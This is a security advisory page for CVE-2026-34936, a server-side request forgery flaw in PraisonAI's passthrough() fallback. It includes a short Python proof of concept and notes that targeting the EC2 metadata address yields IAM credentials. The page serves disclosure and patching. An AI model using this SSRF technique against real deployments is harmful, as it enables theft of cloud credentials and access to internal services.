CVE-2026-34936: PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Published Apr 1, 2026
·
Updated

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled apibase parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink) python source -- apibase taken directly from caller def passthrough(endpoint, apibase=None, method="GET", ...):

fallback trigger -- AttributeError from unrecognised provider enters fallback except AttributeError: url = f"{apibase or 'https://api.openai.com'}{endpoint}"

sink -- no validation before request response = client.request(method, url=url, ...)

PoC python tested on: praisonai 1.5.87 (source install) install: pip install -e src/praisonai start listener: python3 -m http.server 8888 import sys, litellm sys.path.insert(0, 'src/praisonai') del litellm.llmpassthroughroute

from praisonai.capabilities.passthrough import passthrough

result = passthrough( endpoint="/ssrf-test", apibase="http://127.0.0.1:8888", method="GET", customllmprovider="nonexistent", ) print(result) expected output: PassthroughResult(data='...', statuscode=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...}) listener logs: "GET /ssrf-test HTTP/1.1" 404 on EC2 with IMDSv1: apibase="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTHENABLED = False by default, making this reachable over the network without credentials.

Other sources

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, passthrough() and apassthrough() in praisonai accept a caller-controlled apibase parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. This issue has been patched in version 4.5.90.

MITRE

Affected Software

2 affected componentsFixes available
pip/praisonai<=4.5.89
4.5.90
Praison PraisonAI<4.5.90

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.5.90
  2. Upgrade

    Upgrade praisonai to a version that resolves this vulnerability.

    Fixed in 4.5.90
  3. Configuration

    Set AUTH_ENABLED to enabled/true (the material states AUTH_ENABLED = False by default, making the SSRF reachable over the network without credentials).

    PraisonAI Flask API server AUTH_ENABLED = False

Event History

Apr 1, 2026
Advisory Published
via GitHub·11:21 PM
Data Sourced
via GitHub·11:21 PM
DescriptionSeverityWeaknessAffected Software
Apr 3, 2026
CVE Published
via MITRE·10:50 PM
Data Sourced
via MITRE·10:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:17 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203